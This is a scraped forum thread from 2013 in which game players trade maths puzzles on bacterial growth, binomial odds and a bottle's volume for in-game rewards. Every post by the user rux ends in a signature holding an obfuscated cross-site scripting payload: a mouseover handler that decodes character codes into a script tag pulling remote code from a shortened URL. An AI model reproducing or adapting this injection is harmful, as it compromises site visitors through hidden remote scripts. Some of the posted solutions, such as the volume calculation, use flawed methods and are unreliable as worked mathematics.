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YoungVolcano

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Thread created on Sun Jun 09, 2013 10:39:43
Last replied to on Fri Jun 21, 2013 08:17:14
I have created this for all you mathematicians out there! The game is simple (the sums however may not) You answer the question above you and then post a new question for others to tackle. To spice things up you may offer a reward to the person who correctly answers your question (this may be some unwanted item, or a serious reward for a mind-bending question).

I understand that there are some maths exams around at the minute, and what better way than to titillate and prime your mind for these up coming exams.

Q. There are two colonies of bacteria, one which is growing and one which is decaying. t is time in minutes.
The decaying colony is modelled: Q=500000e^-t/8 and the growing colony is modelled: P=500e^t/8


find the time in minutes where the growing colon will have exceeded the decaying colon by 45000.
First showing (e^t/8)^2 - 90e^t/8 - 1000
Then solve.

Reward: I will offer $2m to the person who first messages me the answer, once receiving the reward, you may post your answer and then pose a fresh question to the next player.

You sent $2,000,000 to rux with the message: The math is strong in you!


Last Edited: Sun Jun 09, 2013 22:31:19
Xibalba

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YoungVolcano

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Posted on Sun Jun 09, 2013 12:33:35
Bump

Too hard?

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Barbossa

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Posted on Sun Jun 09, 2013 12:40:15
you just need to wait when a mathematician come online For me = probably no way to solve it (lucky me, but for last 5 years I didnt have to study maths )

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YoungVolcano

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Posted on Sun Jun 09, 2013 15:24:49
Bump

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narcomaprime

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Posted on Sun Jun 09, 2013 15:38:44
i plussed this because it would be to hard to find answer or try and prove you wrong

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S2K

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Posted on Sun Jun 09, 2013 15:51:01
What if I have no question to post?

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YoungVolcano

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Posted on Sun Jun 09, 2013 17:25:21
I'd happily come up with another Although maybe an easier question..

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YoungVolcano

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Posted on Sun Jun 09, 2013 21:25:50
bump

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rux
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Posted on Sun Jun 09, 2013 21:35:30
Pretty easy stuff, but writing this stuff down on my computer and generally getting pen, paper and a calculator is not worth it



Edit: After 36 Second (or whatever unit T is)

More specifically 36.8415 Seconds


Edit 2: Rounded wrong 36.8414 Seconds


Sorry that I took so long, but here is the quiz for the next person:

Assume somebody is placing 13 bets on 13 different football matches, where the outcome is either 1 (Team 1 wins), 0 (Tie) or 2(Team 2 wins). On average this person gets 45% of the bets correct.

What are the odds that this time, 10 out of 13 bets were placed correctly?

Last Edited: Sun Jun 09, 2013 22:23:38
[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
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YoungVolcano

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Posted on Sun Jun 09, 2013 22:34:03
Bump

If nobody answers by tomorrow I will try and crack the question, after both a Maths exam and a Psychology exam

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rux
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Posted on Sun Jun 09, 2013 22:34:35
2,000,000 if you solve it! (I hope Angry-Badger does not mind me recycling his prize)

[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
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rux
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Posted on Sun Jun 09, 2013 22:36:31
By Angry-Badger [1537338]
Bump

If nobody answers by tomorrow I will try and crack the question, after both a Maths exam and a Psychology exam


Good Luck with that!

[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
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CaptQueeg

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Posted on Mon Jun 10, 2013 04:06:25
about .034% no too low - didn't include the # of possible permeatations

Last Edited: Mon Jun 10, 2013 04:20:47
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DarkPrince

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Posted on Mon Jun 10, 2013 04:15:55
around 0.32% or 0.35%

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rux
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Posted on Mon Jun 10, 2013 12:02:15
Actually, I have about 1,6%

P(X=10)= (13!/[10!*3!])*(0,45^10)*(0,55^3)
= 0,0162


Or did I do something wrong?

Last Edited: Mon Jun 10, 2013 13:51:42
[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
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rux
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Posted on Mon Jun 10, 2013 16:49:07
Do I have to think of a new problem now?

[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
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YoungVolcano

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Posted on Mon Jun 10, 2013 19:14:58
I presume so..

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rux
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Posted on Mon Jun 10, 2013 20:00:39
Alright...


Something very simple as I cannot think of anything better right now...

So you have a glass bottle, please refer below for the description:

OfnZfR8.jpg


H(x)=c/x where C R


What is the volume of the bottle (it is symmetrical btw

Last Edited: Mon Jun 10, 2013 20:01:07
[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
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YoungVolcano

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Posted on Mon Jun 10, 2013 21:03:27
My mind has just been blown!

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rux
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Posted on Tue Jun 11, 2013 01:41:05
Solve my question!!! 5,000,000...

And no, the sketch is not correctly scaled (obviously)...



[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
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TheBathMan

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Posted on Tue Jun 11, 2013 02:09:12
I assume the bottle is cylindrical and not oblong yes?
(also try not to get into the glass bottle designing industry, the sharp corner is a serious structural weakness plus the design looks quite slippy )

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JHONFRANCIS

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Posted on Tue Jun 11, 2013 06:42:38
i plussed this because it would be to hard to find answer or try and prove you wrong


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rux
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Posted on Tue Jun 11, 2013 07:52:42
By TheBathMan [1097030]
I assume the bottle is cylindrical and not oblong yes?
(also try not to get into the glass bottle designing industry, the sharp corner is a serious structural weakness plus the design looks quite slippy )


Yes, if you rotate the (quite frankly: absolutely stunning) illustration around the x-axis, then that would result in the bottle...

[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
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TheBathMan

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Posted on Tue Jun 11, 2013 08:01:28
By rux [1740751]
By TheBathMan [1097030]
I assume the bottle is cylindrical and not oblong yes?
(also try not to get into the glass bottle designing industry, the sharp corner is a serious structural weakness plus the design looks quite slippy )


Yes, if you rotate the (quite frankly: absolutely stunning) illustration around the x-axis, then that would result in the bottle...


Lol amazing

I don't have a proper calculator so this is just a guess, between 885 & 900? The geometry makes the integration a tad hard. I know you want a precise answer but that's my 2 cents.
(After 4 years of engineering I've grown used to being given the geometry of things )

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rux
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Posted on Tue Jun 11, 2013 08:07:06
By TheBathMan [1097030]
By rux [1740751]
By TheBathMan [1097030]
I assume the bottle is cylindrical and not oblong yes?
(also try not to get into the glass bottle designing industry, the sharp corner is a serious structural weakness plus the design looks quite slippy )


Yes, if you rotate the (quite frankly: absolutely stunning) illustration around the x-axis, then that would result in the bottle...


Lol amazing

I don't have a proper calculator so this is just a guess, between 885 & 900? The geometry makes the integration a tad hard. I know you want a precise answer but that's my 2 cents.
(After 4 years of engineering I've grown used to being given the geometry of things )


Well the integration is the only thing making this challenging... just getting the volume by approximating would be too easy for 5,000,000 ;D

But your excuse is accepted, although your answer seems rather off to me...

The "bottom-cylinder-part" alone is already slightly above 700cm^3

[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
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mchasur
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Posted on Tue Jun 11, 2013 19:35:25
Well, let my try it.
First the bottom cylinder.
V=;*h*r^2. h=14-0=14
r=[4-(;-4);]/2=4, so V=3.14*14*4^2=703.71 .
Now lits find c.
H(;x);=c/x. As we can see H(;x); goes through the point (;14;4);.(;in my country we symbolize points with just an comma like that (;a,b); so it was a little bit frustrating at the start to find out what you mean);
So H(;14);=4 or c/14=4 or c=4*14 or c=56.
Now lets find the volume of the thin middle cilinder.
V=;*h*r^2. h=25-14=11. r=H(;25);=56/25=2.24
So V=3.14*11*2.24^2=173.79
Now lets find the area just below of the H(;x);
We take the integral -wich im going to present like { - from 14 to 25 of the H(;x);
{(;from 14 to 25); 56/x *dx = 56*{ (;from 14 to 25); 1/x *dx = 56*[lnx](;from 14 to 25);= 56* (;ln25-ln14);= 56*ln(;25/14);=56*ln(;1.78);=32.46 ,wich i belive is the area.
Now by multiplying this area with 2; ,so it makes a full circle around its axis, we have 204.01 wich is the volume of the curved area.
By adding all of them we have the whole volume is 1.081,51
Note that I dont know to use double integrals that compute volumes and that I make up to second number after the dot, because im not good with calculators.

Edit1:;Im trying to get rid off all the "%;;" before all the parenthesis and pi
Edit2:; Pretty much the same

Last Edited: Wed Jun 12, 2013 15:39:36
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YoungVolcano

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Posted on Sat Jun 15, 2013 00:08:14
bump

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TheBathMan

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Posted on Fri Jun 21, 2013 08:17:14
Since the thread hasn't been updated, does that mean that mchasur's solution is incorrect?

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Forum Main>>Fun & Games>> Angry-Badger's school of hard sums
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